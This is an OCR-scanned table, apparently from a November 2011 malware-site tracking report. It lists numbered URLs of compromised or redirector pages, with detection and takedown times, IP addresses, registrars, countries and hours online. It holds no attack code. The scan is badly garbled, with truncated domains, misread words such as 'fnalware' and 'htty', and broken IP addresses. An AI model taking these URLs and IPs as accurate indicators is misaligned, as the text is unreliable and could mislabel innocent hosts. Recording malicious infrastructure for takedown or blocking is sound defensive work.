94931 om/5yxluj/index.html 11/16/2011 13:02 | 11/17/2011 3:49 fnalware  50.61.252.228 Redirector oDaddy.com, Inc. S 14.78 | 491
94934 gettingpregnantips.com/~pregnant/ig1ino/index.html 11/16/2011 13:12 [ 11/17/2011 4:18 fnalware  $9.65.43.152 Redirector LOBEHOSTING EUROPE S 15.11 | 492
94936 akapela.qgr/7asdxe; html 11/16/2011 14:18 | 11/18/2011 12:04 alware  $6.0.172.2 edirector commerce Corporation S 45.77 | 493
94937 rxd0e50/index.html 11/16/2011 15:26 | 11/17/2011 12:26 fnalware |74.208.147.23Redirector 1 & 1 INTERNET AG s 21 494
94938 mel.melleva.com/~procool/4tp5kn7/index.html 11/16/2011 12:35 | 11/16/2011 21:34 alware  [174.121.198.1¢Hijacked Website |[DOMAINPEOPLE, INC. s 8.99| 495
94941 pr leaners.com/r5x662/index.html 11/16/2011 12:27 | 11/21/2011 15:06 fnalware  §5.60.42.250 Redirector oDaddy.com, Inc. S 22.65 | 496
94942 pure-elevation.com/~pureelev/yftge3/index.html 11/16/2011 12:14 | 11/17/2011 12:25 fnalware  |84.154.227.5 Redirector oDaddy.com, Inc. S 24.19 | 497
94943 priaeducation.org/4h55ii/index.html 11/16/2011 15:27 | 11/23/2011 3:20 fnalware  |208.109.176.9¢Redirector OnlineNIC Inc. (R64-LROR) s 155.89 | 498
94945 http://promarineusaonline.com/ae4938/index.htm! 11/16/2011 15:28 | 11/22/2011 13:38 falware  p04.12.25.55 Redirector UCOWS, INC. S 42.17 | 499
94951 rftp.rf.ohost.de/47rdx21/index.html 11/16/2011 15:30 [ 11/18/2011 5:01 fnalware  |213.202.225 #emrectur DENIC DE 37.53| 500
94957 ontariobL rades.com/msauwof; html :30 | 11/17/2011 15:34 malware  |216.14.123.204Redirector 2030138 ONTARIO INC. DBA NAMESBEYOND.COM s 24.06 | 501
94959 pro.ovh.net/~ritreqiv/idx9vvy/index.html 11/22/2011 13:51 malware  213.186.33.4 Redirector VH AR 4231 | 502
94960 pranella.com/Impncx/index.html 11/16/2011 18:3; e [84.18.207.140 [Redirector TUCOWS, INC. UK 2.97] 503
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94961 |http://ti 1t.com/kkOej83/index.html 11/16/2011 15:36 | 11/16/2011 21:30 malware 74.121.2.195 |Dedicated Web HostilGoDaddy.com, Inc. us 5.91 04
94962 |http://ourdogz.nl/uibauaa, html 11/16/2011 15:37 | 11/16/2011 18:25 malware 6.235.43.61 Redirector ebReus B.V. L 2.8 0!
94963 ://pre fimsoft.com/2g9f9e9/index.html 11/16/2011 15:25 11/17/2011 3:49 malware 205.234.234.17Redirector Walfam Web Services us 12.41 06
94984 nintendore ionfan.com/js.js 11/17/2011 4:07 11/21/2011 0:48 malware 94.28.84.41 Redirector asthosts Internet Limited A 92.67 0
94996 |http://www.ryanryte.com.au/js.js 11/17/2011 7:01 11/24/2011 6:40 malware 202.124.241.19Redirector ry AU 167.64 08
94999 |htty ‘aguaedition.com/content/g43kb6j34kbla6jh34kb6j3ki4.jar 11/17/2011 8:44 | 11/17/2011 15:29 malware 193.106.174.21Dedicated Web HostiiFASTDOMAIN, INC. RU 6.75
95001 |htty ‘aquaedition.com/main.php?page=2ef0b5da80f6fe8f 11/17/2011 8:43 | 11/17/2011 15:57 malware 193.106.174.2Redirector FASTDOMAIN, INC. RU 7.23| 509
95002 |http://managerumber.com/content/g43kb6j34kblg6jh34kb6i3ki4. jar 11/17/2011 8:22 11/18/2011 4:51 malware 174.140.163.1(Dedicated Web Hostil1 & 1 INTERNET AG us 20.47| 510
95003 | htty 'managerumber.com/main.php?page=7de716381035aed8 11/17/2011 8:24 | 11/17/2011 13:20 malware 174.140.163.1(Redirector 1 & 1 INTERNET AG us 4.93
95004 |htt; ‘www.homestretchcafe.com/js/js.is 11/17/2011 8:21 | 11/18/2011 20:28 malware 139.135.22 Redirector ‘AHOO us 36.11 511
95006 |http://hairextensionnyc.com/js/js.is 11/17/2011 8:36 | 11/18/2011 20:27 malware 208.109.181.84Redirector GoDaddy.com, Inc. us 35.85| 512
95007 |htty battleitect.com/main.php?page=0d485e012d486479 11/17/2011 8:39 | 11/19/2011 12:22 malware 193.106.174.22Redirector 101DOMAIN, INC. RU 51.71| 513
95008 | http://battleitect.com/content/g43kb6j34kblg6jh34kb6i3ki4.jar 11/17/2011 8:42 11/21/2011 0:49 malware 193.106.174.22Dedicated Web Hostil101DOMAIN, INC. RU 88.11
95018|http://pelzerr org/loywlz2/index.html 11/17/2011 10:55 | 11/17/2011 13:53 malware 65.254.231.141Redirector Tucows Inc. (R11-LROR) us 2.96| 514
95026 | http://chimera.lunary com/~micro15/d9vsfi/index.html 11/17/2011 11:20 | 11/18/2011 18:03 malware 16.97.237.20 Redirector UCOWS, INC. S 30.71 515
95029 http://qybo-hubyb 1g.com/nor iluu21.html 11/17/2011 11:33 | 11/22/2011 13:31 malware 92.41.60.10 Redirector MONIKER S 21.97 516
95038 htty ‘aguaedition.com/main.php?page=7de716381035aed8 11/17/2011 12:14 | 11/17/2011 13:55 malware 193.106.174.21Dedicated Web HostilFASTDOMAIN, INC. RU 1.68
95040 htty com/main.php?page=1de32e77952227cd 11/17/2011 13:23 | 11/18/2011 13:04 malware 193.106.174.21Redirector 1 & 1 INTERNET AG RU 23.68
95046 | htt; pdc.bplaced.net/ndiu0mw; html 11/17/2011 15:14 | 11/18/2011 15:04 malware 76.9.52.231 edirector PS-DATENSYSTEME GMBH DE 23.84 517
95057 |htty p-center.biz/kbkafv/index.html 11/17/2011 15:07 | 11/21/2011 15:15 malware 209.251.58.13¢Redirector GODADDY.COM, INC. CA 96.13 | 518
95062 |htty FTP.PROTEZIONECIVILE-CDC.EU/ydzqgcd8/index.html 11/17/2011 15:30 11/18/2011 7:01 malware 217.64.195.22. ector Unita' Tecnica Tophost T 15.52 | 519
95063 |http: .com/main.php?page=0d485e012d486479 11/17/2011 17:18 11/21/2011 8:20 malware 193.106.174.22Redirector 0101 INTERNET, INC. RU 87.03
95068 | http://scottmorley.net/yodckmi/index.html 11/17/2011 16:12 11/23/2011 8:20 malware 74.121.21.2 Redirector omains Priced Right S 36.13 0
95069 |htt; pcapinvest.com/wm9nsyx/index.html 11/17/2011 16:20 | 11/21/2011 15:33 malware '4.50.13.240 _Redirector oDaddy.com, Inc. S 95.21 1
95070 | htty panzercrom.com/ua6gp8g/index.html 11/17/2011 16:20 | 11/21/2011 15:44 malware 77.245.148.19 ctor BIKESOFT.NET TR 95.39 2
95072 htty 'ves.edu.in/fupcbz, html 11/17/2011 16:30 | 11/24/2011 14:04 malware 4.71.180.20 _Redirector rnet ys 65.58
95073 |htty 'wca8532g2 t-online. ylzvww, html 11/17/2011 16:31 | 11/20/2011 20:18 malware 0.150.6.138 irector ENIC DE 75.78 4
95074 |htty pochta.ru/m html 11/17/2011 16:36 | 11/22/2011 13:31 malware 94.186.88.37 Redirector ENTROHOST RU 16.92
95076 | htty ‘webresourcecentral.com/2858sa/index. html 11/17/2011 16:37 | 11/24/2011 16:58 malware 7.74.144.142 irector oDaddy.com, Inc. S 68.34 6
95080/ http://pokerworld.com.au/fljirc/index.html 11/17/2011 16:57 11/18/2011 7:02 malware 175.107.162.2: ector /Aust Domains AU 14.09
95087 |htty ‘www. batoninfra.com/5zvxal/index.html 11/17/2011 17:41 | 11/24/2011 17:09 malware 119.252.152.15Redirector INETWORK SOLUTIONS, LLC. N 167.47 8
95089 |htty stellar-4.com/~realvia/d2bfqéc; html 11/17/2011 17:50 | 11/23/2011 14:29 malware 174.120.148. %Ed\rectur NAME.COM LLC us 140.66 9
95091 |htty rentpaid.ca/2jnoxs, html 11/17/2011 18:06 | 11/18/2011 10:23 malware 74.136.42.66 Redirector uc ys 16.29 0
95092 http:, om/77bwzb/index.html 11/17/2011 18:14 | 11/18/2011 17:53 malware 74.220.207.164Redirector FASTDOMAIN, INC. us 23.65 1
95096 | http://teamprimerib.com/p5ztkp/index.html 11/17/2011 18:55 11/18/2011 9:06 malware 3.189.0.114 Redirector EO-HOST.COM K 14.19 2
95097 |htty -online.info/5j0viy, html 11/17/2011 18:59 | 11/24/2011 17:13 malware 184.168.152. liBEd\rectDr ?aDaddy,ccm Inc. us 166.23 3
95098 |http://pr om/7mdpr3w/index.html 11/17/2011 19:01 11/18/2011 7:03 malware 69.175.118.1 ector |GoDaddy.com, Inc. UK 12.02 4
95099 |htt; p-center.biz/nz63rfl/index.html 11/17/2011 19:08 | 11/24/2011 17:22 malware 209.251.58.13&Redirector |GODADDY.COM, INC. CA 166.22
95100/ http://rubali.c ‘ehmajq, html 11/17/2011 19:09 11/18/2011 7:05 malware 174.120.181.25Redirector ENOM INC. us 11.92| 535
95102|http://otrasexst C 'séwmdrj/index.html 11/17/2011 19:14 | 11/18/2011 10:44 malware 74.121.36.6 Redirector oDaddy.com, Inc. S 15.51 536
95103 |htty 'ves.edu.in/9kt59j/index.html 11/17/2011 19:22 | 11/24/2011 12:36 malware 4.71.180.20 _Redirector National Informatics Centre (R12-AFIN) S 161.23
95104 htty lexuscomms.com.au/k56m91/index.html 11/17/2011 19:22 | 11/24/2011 21:12 malware 98.104.41.72 Redirector Welbourne IT S 69.83
95105 htty pdrg.zxg.net/z57rixy/index.html 11/17/2011 19:27 11/18/2011 7:17 malware 67.220.217.239Redirector [ENOM, INC. us 11.83| 537
95108|http://lexisutherland.com/vohtu3s/index.html 11/17/2011 19:45 | 11/18/2011 12:22 malware 6.9.63.222 edirector egister.com S 16.62 538
95109 |htty ‘cygnus.inc.cl/~propie/ezrvbk, html 11/17/2011 19:51 | 11/24/2011 20:42 malware 190.196.69.21 ctor inc.cl CL 168.84 | 539
95110|http://akapela.gr/ppei31/index.html 11/17/2011 19:56 | 11/18/2011 13:06 malware 6.0.172.2 edirector APAKI.GR ys 17.16
95111 |htty 173.193.15.56/ ~assalamt/xrvbux/index.html 11/17/2011 20:03 11/23/2011 3:11 malware 73.193.15.56 irector ILD WEST DOMAINS, INC. S 127.14 540
95112|http://rapiduae.c 6ia6bgw/index.html 11/17/2011 20:04 | 11/24/2011 20:44 malware 9.64.155.163 Redirector NOM, INC. S 68.67 541
95113|http://remorcicomerciale.ro/42f1nks/index.html 11/17/2011 20:06 | 11/24/2011 19:40 malware 4.60. 11 edirector CI - ROTLD RO 67.57 542
95115|http://cygnus.inc.cl/~propie/6jtb2a/index.html 11/17/2011 20:15 | 11/24/2011 20:56 malware 190.196.69.21 ctor inc.cl CL 168.68
95116|http://pressurewasherscleaners.com/vrirntm/index.html 11/17/2011 20:20 11/18/2011 7:27 fmalware 5.60.42.250 irector oDaddy.com, Inc. S 11.11
95117|http:, nl/eyweul/index.html 11/17/2011 20:27 | 11/24/2011 20:59 malware 1.217.56.79 Redirector iscom Hosting B.V. L 68.52 4
95119 |htty ‘texnologi.az/nx08tf/index.html 11/17/2011 20:30 | 11/24/2011 21:00 Malware 5.132.85.140 Redirector ELTA TELECOM AZ 68.49 44
95120|http://privacyalerts.org/4bk2mag, html 11/17/2011 20:30 | 11/24/2011 21:01 malware 4.50.20.51 edirector oDaddy.com, Inc. (R91-LROR) S 68.51 4
95122|http://www.recreati 1g.com/f84agp/index.html 11/17/2011 20:39 | 11/24/2011 18:17 malware 6.7.200.62 irector oDaddy.com, Inc. S 65.63 46
95123 |http://pdc.bplaced.net/sj6cup/index.html 11/17/2011 20:38 | 11/18/2011 10:47 malware 76.9.52.231 edirector PS-DATENSYSTEME GMBH DE 14.15
95124|htty pchelpch.pc.ohost.de/2q7vwk/index.html 11/17/2011 20:45 | 11/24/2011 21:14 malware 213.202.225.43Redirector ohost.de DE 168.48 | 547
95127 |htty ein.ct kszomwz, html 11/17/2011 20:46 | 11/20/2011 14:15 malware 173.236.34.242Redirector GoDaddy.com, Inc. us 65.48 | 548
95128|http://outsour .com/%7Eoutso4/4iz88e/index.html 11/17/2011 20:50 | 11/22/2011 12:10 malware 4.50.25.75  Redirector K2 GROUP LTD. S 11.34 549
95129 |htty gr/13abr4/index.html 11/17/2011 20:59 | 11/18/2011 18:02 malware 78.63.40.13 Redirector ROWEBSECTOR DE 21.04 550
95130/ htty 'wca8532g2 t-online.de/zjs808b/index.html 11/17/2011 20:57 | 11/20/2011 20:23 malware 0.150.6.138 irector eutsche Telekom AG DE 71.43
95131 |http://www.rar y.co.uk/j6i60f/index. html 11/17/2011 21:00 | 11/22/2011 12:42 malware 7.74.144.101 Redirector ild West Domains, Inc S 11.69 551
95134/ htty o com/rkl922/index.html 11/17/2011 21:18 | 11/24/2011 13:04 malware 76.53.18.153 Redirector ISIMTESCIL.NET TR 59.77 552
95170 htty ‘aquasrc.com/main ?page=8df174a3dc62673e 11/18/2011 8:57 11/21/2011 8:25 malware 193.106.174.22Redirector 0101 INTERNET, INC. RU 71.46
95172|htt ‘aquasrc.com/content/q43kb6j34kblg6jh34kb6j3kl4.jar 11/18/2011 8:58 11/21/2011 0:51 malware 193.106.174.2]Dedicated Web Hostii0101 INTERNET, INC. RU 63.89
95173 |htty com/content/g43kb6i34kblg6ih34kb6i3ki4.jar 11/18/2011 9:11 | 11/18/2011 16:46 malware 193.106.174.21Dedicated Web Hostil1 & 1 INTERNET AG RU 7.58
95191 |htty barpetra.com/h2ejr88/index.html| 11/18/2011 19:22 | 11/18/2011 20:01 malware 69.163.19 ZZiREd\rectDr Netfirms, Inc. us 0.66 | 553
95192|htty boredret.ru/main.php?page=fd1fb1ae91955f02 11/18/2011 19:31 | 11/21/2011 11:04 malware 4.199.53.14 Redirector aunet.ru HU 63.56 554
95257 |htty ‘adventur main.php?pag 174a3dc62673e 11/19/2011 19:11 11/21/2011 8:28 malware 193.106.174.2]Redirector DIRECTNIC, LTD RU 37.28
95258 | htty bmdiesel.com/cc43ji/index.html 11/19/2011 19:13 11/23/2011 1:01 malware 17.58.251.12 Redirector lanetDomain Ltd Pty AU 77.8 555
95259|http://mariage.zxg.net/v6f8ij/index.html 11/19/2011 19:24 | 11/20/2011 14:24 malware 67.220.217.239Redirector |ENOM, INC. us 19| 556
95260|http://mdinfovision.com/g9edwmi html 11/19/2011 19:29 | 11/24/2011 21:09 malware 208.109.248. 1(Redirector GoDaddy.com, Inc. us 121.67 | 557
95261 |http://salembc.org/84bb0f/index.html 11/19/2011 19:37 11/22/2011 0:30 malware 16.177.135.4 Redirector letwork Solutions S 52.88 558
95262 ice.com/~sabaidee/dvg75r/index.html 11/19/2011 19:42 | 11/24/2011 21:11 malware 213.175.203.84Redirector INAME.COM LLC UK 121.49 | 559
95263 que.com/kofphdm/index.html 11/19/2011 23:24 | 11/21/2011 8:37 malware  $5.215.61.22 Redirector [ANDHOST.NET BS 33.22 560
95270 ristv.com/ba4mn6/index.html 11/19/2011 21:00 | 11/24/2011 21:19 fmalware 173.212.195.17Redirector GoDaddy.com, Inc. us 120.32 | 561
95271 net/ilei8na/index.html 11/19/2011 23:12 11/21/2011 4:35 malware 03.170.86.89 Redirector AUST DOMAINS INTERNATIONAL PTY LTD DBA AUST DOMAINAU 29.39| 562
95272 S.us/n5! k9/index.html 11/19/2011 20:54 | 11/22/2011 14:14 malware 184.154.162.8. ctor |ENOM, INC. us 65.33 | 563
95273 ‘www.smrbuilders.co.in/js.js 11/19/2011 23:23 | 11/19/2011 23:45 malware 74.120.83.5 Redirector he Planet NOC us 0.37 564
95274 'WWW. pr on.cl/js.js 11/19/2011 23:34 | 11/24/2011 21:19 malware 00.63.97.53  Redirector hilecom Internet Limitada L 17.76 565
95275 | htty k.pl/wzug1k2/index.html 11/19/2011 21:11 | 11/20/2011 17:06 malware 88.116.35.23 Redirector lome.pl sp.j. AL 19.91 566
95276 'mashileit.co.za/k5z0f0z, html 11/19/2011 21:10 11/26/2011 8:52 malware 0.38.12.182 Redirector Start Computer Services A 55.71 567
95277 'mattandtiera2011.zxq.net/67eaic, html 11/19/2011 21:13 11/21/2011 8:32 malware 67.220.217.22€¢Redirector |ENOM, INC. us 35.32 | 568
95278 ‘www.tech-synergy.com/js.js 11/19/2011 23:36 | 11/20/2011 14:21 malware 16.117.182.7 Redirector dvanced Internet T Inc. S 14.75 569
95280 ‘www.slot jes.be/js.is 11/19/2011 23:24 11/22/2011 8:48 malware 174.123.131.5. ector Turtlehost us 57.39 | 570
95281 ices.com/gzt523/index.html 11/19/2011 21:29 11/26/2011 8:55 malware  68.171.208.45 Redirector NS Registrar S 55.42 71
95282 'sadaffayyaz.com/gxzd3tc/index.html 11/19/2011 21:34 | 11/26/2011 9:14 malware 4.235.47.65 _ Redirector IRECTI INTERNET SOLUTIONS AU 55.67 72
95283 ‘www.manching.com.hk/4gjfqg/index.html 11/19/2011 21:41 11/26/2011 9:14 malware 203.174.34.145Redirector Hong Kong Domain Name Registration HK 155.55 73
95284 kacsbolt.hu/js.js 11/19/2011 21:41 | 11/26/2011 20:12 malware 184.107.165.2. ector. Tinyhosts HU 166.53 74
95285 | http://mbc-communication.com/dib00lj/index.html 11/19/2011 21:46 11/23/2011 5:52 malware 13.186. 19 Redirector VH AR 80.11 75
95286 bb4f.net/q74mh9, html 11/19/2011 21:56 11/26/2011 9:19 malware 209.251.58.13¢Redirector GoDaddy.com, Inc. CA 155.38
95289 prolink.my/kz300p/index.html 11/19/2011 22:14 | 11/26/2011 9:21 fmalware 07.210.72.19 Redirector Com, Inneta Corporation Sdn Bhd S 155.12 76
95290 restaurantelayert sena.com/Irh1g5/index.html 11/19/2011 22:29 | 11/22/2011 12:53 malware 4.53.142.22 irector OCAL.MI.COM.CO S 62.4 77
95291 personalinjuryaccidents.com/uOuzgca/index.htm! 11/19/2011 23:11 | 11/21/2011 11:05 falware  96.9.5.114 edirector egister.com S 35.9 78
95293 90plan.ovh.net/~marocvud/hxegls/index.html 11/19/2011 23:21 11/21/2011 8:35 malware 13.186. 2 irector VH AR 33.24 79
95299 pr ions.net/75041n/index.html| 11/20/2011 0:03 | 11/22/2011 12:53 malware 07.204.27.90 Redirector egister.com, Inc S 60.83 580
95300 'masstluc.com/bk4ijgu, html 11/20/2011 0:27 | 11/23/2011 8:17 script 13.186.33.19 Redirector VH AR 79.84
95301 marl com/ygq73o/index.html 11/20/2011 0:31 11/26/2011 9:21 malware 122.201.80.115Redirector GoDaddy.com, Inc. AU 152.84 | 581
95302 ande.com/w6y8ys/index.html 11/20/2011 0:34 | 11/23/2011 1:10 malware 00.58.111.41 Redirector ATTATEC.COM DE IRAZOQUI VERONICA PALMIRA AR 72.59 582
95303 osty -lippe.de/muejjwn, html 11/20/2011 0:36 | 11/20/2011 14:20 malware 212.227.22.22] ector 1&1 Internet AG DE 13.73| 583
95304 pl/cvI7ud5/index.html 11/20/2011 0:38 | 11/20/2011 14:18 script 89.161.233.21(Redirector Home.pl sp.j. PL 13.68 | 584
95305 daenyxinternational.com/sqthvce/index.html 11/20/2011 0:50 11/26/2011 9:24 malware 119.252.144.14Redirector INETWORK SOLUTIONS, LLC. N 152.56 | 585
95306/ http:, com/h1gxrl/index.html 11/20/2011 0:49 11/26/2011 9:26 malware 174.120.61.16. ctor INTERNET.BS CORP. us 152.61 | 586
95307 uksense.org/i2rxyeq, html 11/20/2011 0:47 | 11/20/2011 14:18 script $0.82.124.3 edirector E Limited (R36-LROR) K 13.52 587
9530 'mastodi.com/2vtb18/index.html 11/20/2011 0:57 11/20/2011 1:41 script 9.175.29.26 Redirector NOM, INC. S 0.75 588
95309 marl C 'sh5fsag/index.html 11/20/2011 1:00 11/26/2011 9:26 malware 122.201.80.115Redirector GoDaddy.com, Inc. AU 152.44
95311 marl com/w82coly/index.html 11/20/2011 1:09 11/26/2011 9:29 malware 122.201.80.115Redirector GoDaddy.com, Inc. AU 152.32
95312|http://o" com/2jzj2p/index.html 11/20/2011 1:20 | 11/25/2011 15:06 malware 76.53.18.153 Redirector BS INC. TR 33.77
95313|http://rnm.sour com.au/~r 3rg8wc6/index.html 11/20/2011 3:01 11/26/2011 9:29 malware 13.20.9.89 edirector omain Central AU 50.47 589
95315 | htty 'martiniracing.com.au/rbot242/index.html| 11/20/2011 11/26/2011 9:30 malware 03.88.117.57 Redirector netica AU 50.18 590
95316|http://glenarasen com/Ikiu4n/index.html 11/20/2011 11/26/2011 9:3: e |68.171.208.45 |Redirector [Tucows, INC. us 149.06)
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95318|http://rhgsharet com/i47vwb/index.html 11/20/2011 4:36 | 11/22/2011 13:16 Malware |203.88.118.16 ector FNOM INC. AU 56.66 | 59
95319|http://sadaffayyaz.com/bfzn0sv/index.html 11/20/2011 4:45 | 11/22/2011 13:16 malware 64.235.47.65 Redirector UTURESOL.NET Au 56.51
95321]http://MarthaBlog.com/czixevw, html 11/20/2011 4:46 | 11/20/2011 14:13 malware _$7.79.238.60 Redirector MONIKER S 9.45 | 592
95323 |http://www.qualitta.com/js.is 11/20/20118:12 | 11/23/2011 0:49 malware _|174.121.37.254Redirector Interactiva.net.co s 64.61| 593
95324 |http://mashileit.co.za/Imolnd/index.html 11/20/2011 5:01 11/26/2011 9:38 alware _70.38.12.182 Redirector .72 A 48.62
95325|http://203.146.170.92, u93m index.html 11/20/2011 5:24 | 11/21/2011 13:42 malware _|203.146.170.92Redirector Porar Web Application Co. TH 32.3] 504
95326|http://r c pzpf] html 11/20/2011 5:07 | 11/26/2011 9:40 malware _ 04.12.104.1 Redirector UCOWS.COM CO. S 48.56 | 595
95327 |http://secs.mx/images/is.is 11/20/2011 8:16 | 11/25/2011 19:03 malware _|174.121.198.1¢Redirector INEUBOX Internet SA de CV Us 130.78 | 596
95328|http://matrixspace.in/90i109/index.html 11/20/2011 5:10 | 11/25/2011 15:19 malware _174.36.228.38 Redirector ediff.com India Limited (R37-AFIN) 1] 130.15 | 597
95329]http://mb i ‘owdbrt/index.html 11/20/20115:19 | 11/23/2011 8:14 malware _69.65.41.219 Redirector IRECTI INTERNET SOLUTIONS S 74.92 | 598
95330|http://mdinfovision.com/vptmd77/index.html 11/20/2011 5:30 | 11/26/2011 9:41 malware _|208. 109.248,13{{ed\rectur GoDaddy Us 148.18
95332|http:, pI/k16xpns/index.html 11/20/20115:39 | 11/20/2011 16:23 falware _|89.161.233.21(Redirector Home.pl sp.i. PL 10.73
95334|http://72.249.30.116/ ~safetpro/9vfh3v/index.html 11/20/20118:23 | 11/26/2011 9:43 malware 2.249.30.116 Redirector P_ADDR S 45.34 | 599
95335 htty dsn4u com/is. s 11/20/2011 8:36 | 11/26/2011 20:18 malware _97.74.144.192 Redirector oDaddy.com, Inc. Us 55.69 | 600
95338]http: KkBvftnw/index.html 11/20/20118:27 | 11/26/2011 9:44 falware |213.175.221.2 ector [ENOM, INC. UK 145.28 | 601
95339]http:, TACITUS lunariffic.com/~mecha7/sqf1nn/index.html 11/20/2011 8:30 | 11/21/2011 11:06 malware _16.97.236.27 Redirector UCOWS, INC. S 26.61 | 602
95341]http://Issnepal.ora/is.is 11/20/2011 8:34 | 11/24/2011 21:23 malware _|174.142.82.244Redirector Web Werks India pvt cA 108.82 | 60
95342 http://www.pr com.br/s.is 11/20/2011 8:18 | 11/27/2011 14:25 malware _187.45.195.33 Redirector eqgistro.br BR 74.11 | 604
95349|http://paszczak.pl/is.is 11/20/2011 8:52 | 11/20/2011 20:43 malware _188.40.80.195 Redirector jome.pl sp.i. OE 11.84 | 60
95354]htty 2. freetcp.com/main.php?page=b123ee3176247430 11/20/2011 10:11] 11/21/2011 8:28 falware [193.106.174.2]Free Web Hosting _|NETWORK SOLUTIONS, LLC. RU 22.28| 606
95355 |http://lopezrios.com.ar/t5rc90/index.html 11/20/2011 10:43 | 11/22/2011 14:21 falware _p00.58.96.14 _Redirector OSTMAR.COM AR 51.63 | 60
95356 http://masterwall.com.au/Irb76n/index.html 11/20/2011 10:46 | 11/23/2011 13:51 falware | 14.31.73.20 Redirector elbourne IT Au 75.08 | 608
95350 ]ty com/8zcvkix/index.html 11/20/2011 10:13 | 11/21/2011 4:48 falware _ $3.184.150.2 Redirector BS INC. TR 18.58
95361]http://ener net/ndykwa/index.html 11/20/2011 10:49 | 11/22/2011 18:45 malware _ }7.68.105.251 Redirector egister.com K 55.93 | 609
95362 |http://fundacioncreser.com/heidjfs html 11/20/2011 10:51 | 11/22/2011 8:48 falware _p00.58.111.41 Redirector DATTATEC.COM DE IRAZOQUI VERONICA PALMIRA AR 45.95
95364 |http://www.styler com/0i1p8n/index. html 11/20/2011 10:32 | 11/26/2011 9:48 falware _ [213.175.221.2: ector [ENOM, INC. UK 143.26
95366/http://mb i vacicas/index.htmi 11/20/2011 10:55 | 11/21/2011 4:41 falware _ §9.65.0.0 edirector WEB Us 17.77 | 610
95367 |http://affiliate.allsights.com/jzbbj0/index.html 11/20/2011 10:56 | 11/26/2011 9:48 falware _ 66.98.190.36 _Redirector ANDI SAS S 42.86 | 611
95368 |http://mayami.com/2mv3v0/index.html 11/20/2011 10: 11/21/2011 8:36 fmalware _|184.154.234.1¢Redirector GoDaddy.com, Inc. Us 21.63] 612
95369 ]htty k.pl/2mhid70/index.html 11/20/2011 10: 11/21/2011 4:45 Mmalware 188.116.35.23 Redirector jome.pl sp.i. AL 17.98
95370|http://360 marketing bwasdu/index.html 11/20/2011 10:55 | 11/22/2011 18:56 malware _ 74.208.238.31 Redirector & 1 INTERNET AG S 56.03
95374 http://www.tellasia.org/4vbbo7c/index. html 11/20/2011 11: 11/26/2011 9:52 falware 2.34.63.57 _Redirector oDaddy.com, Inc. (R91-LROR) S 42.79 4
95375 http://suthfood.com/g5ryvat/index.html 11/20/2011 11: 11/21/2011 5:16 falware 209.92.71.249 Redirector ETWORK SOLUTIONS, LLC. S 17.67
95376 |http://rnlogistic.com/48vanaf/index.html 11/20/2011 11: 11/26/2011 9:52 falware |173.201.216.3¢Redirector NET 4 INDIA LIMITED Us 142.2] 616
95378|htty rcgmalbama com/Itlwg5/index.html 11/20/2011 11:22 | 11/25/2011 12:16 falware _P08.43.168.66 Redirector ENOM, INC. AH 120.9
95379]htty ions.net/pua3768/index.html 11/20/2011 11:42 | 11/22/2011 13:19 falware _P07.204.27.90 Redirector Register.com S 49.63
95380 |nttp://cell-planet.com, 8k2ycy/index. html 11/20/2011 11:31 | 11/22/2011 13:10 alware _ 76.74.251.223 Redirector ETWORK SOLUTIONS, LLC. S 49.64 | 618
95381|http://bmdiesel.com/71i4116/index.html 11/20/2011 11:31 | 11/22/2011 12:58 alware  |17.58.251.12 Re irector L ANETDOMAIN PTY LTD. Au 49.46
95382 |http://v008u07gar. com/v5k2irh, html 11/20/2011 11: 11/26/2011 9:55 fmalware |216.128.13.16 NETWORK SOLUTIONS, LLC. Us 142.43| 619
95384|http://masspr com/ui6zi1/index.html 11/20/2011 11:38 | 11/26/2011 10:05 malware _ |208.109.181. 7ggemrectur GoDaddy.com, Inc. Us 142.45| 620
95385]http://banyanchildrenlibrary.com/c8tbtpp/index.html 11/20/2011 11: 11/22/2011 2:02 falware _74.86.154.66 Redirector qistry.com S 38.28 1
95387 |http://tacitus.lunariffic.com/~mecha7/t7dth1/index.html 11/20/2011 11:59 | 11/21/2011 15:16 falware _ P16.97.236.27 Redirector UCOWS, INC. S 27.28 2
95391 http://prolink. my uZhng index.html 11/20/2011 12:07 | 11/26/2011 10:06 alware _£07.210.72.19 Redirector imy DOMAIN REGISTRY S 41.97
95392|http://neopr com/main.php?page=c1db10; 0 11/20/2011 12:56 | 11/22/2011 10:14 alware _|193.106.174.2]Redirector MONIKER RU 453
95394|http://manishkhatri.com/51mhuom/index.html 11/20/2011 12: 11/22/2011 9:46 fmalware |208.43.254.1 ector DIRECTI INTERNET SOLUTIONS PVT. LTD Us 45.57 | 623
95398 |http://mass-money-makers.us/8q6u919/index.html 11/20/2011 12:18 | 11/22/2011 13:11 falware [184.154.162.8. ector ENOM, IN Us 48.87
95400]htty ices.com/w82z4b3/index.html 11/20/2011 12:23 | 11/25/201111:19 falware _ 68.171.208.45 Redirector UCOWS, INC. S 18.93
95402 |http://rolle.cl/{82r50/index.html 11/20/2011 12: 11/22/2011 9:51 falware |190.196.70.184Redirector |5td Internet S.A. L 45.4] 624
95404 |http://rolle.cl/2tiy41/index.html 11/20/2011 12:34 | 11/22/2011 13:10 falware _|190.196.70.184Redirector nic.cl L 48.59
95408|http://Ivdirectmarketing.com/6y63an7/index.html 11/20/2011 12:42 | 11/22/2011 13:22 alware  [184.173.233.2 ector [ENOM, INC. s 48.66 | 625
95409 |http://marlin2000.comy/2fd23v/index.html 11/20/2011 13: 11/22/2011 1:57 falware 213.171.219.5 Redirector UCOWS, INC. K 36.66 | 626
95410|http://masterwall.com.au/8ymksa/index.html 11/20/2011 12: 11/23/2011 5:33 falware 114.31.73.20 Redirector elbourne IT Au 64.75
95411 |http://babytake.com/keq3mkz/index.html 11/20/2011 12:49 | 11/26/2011 10:10 alware _|174.120.173.1]Redirector GoDaddy.com, Inc. Us 141,35 627
95414]http://www.ostwestfalen-lippe.de/d29ugsi mdex html 11/20/2011 12:51 | 11/25/2011 15:13 malware [212.227.22.22 ector 181 Internet AG DE 122.36
95415]http://maturana.com.au/wOn9edp/index.htm 11/20/2011 13:14 | 11/26/2011 10:09 falware _ P03.16.60.19 _Redirector ust Domains Au 40.92 | 628
95417 |http://protocol7.in/7p3nh1/index. html 11/20/2011 12:56 | 11/22/2011 12:53 alware _|209.236.112.1 ector Web Werks India Pvt Ltd s 47.96 | 629
95418|htty com/3ep62k/index.html 11/20/2011 13:15 | 11/25/2011 15:06 malware [174.120.61.16: ector INTERNET.BS CORP. Us 121.85
95419|http://rhasharet com/8d52xvb/index.html 11/20/2011 13:04 | 11/20/2011 15:29 falware  [203.88.118.16 ector |ENOM, INC. AU 2.41
95420]http://pr con.cl/ysdbivh, html 11/20/2011 13:04 | 11/25/2011 20:43 alware _ £00.63.97.53 _Redirector ic.cl L 27.64 0
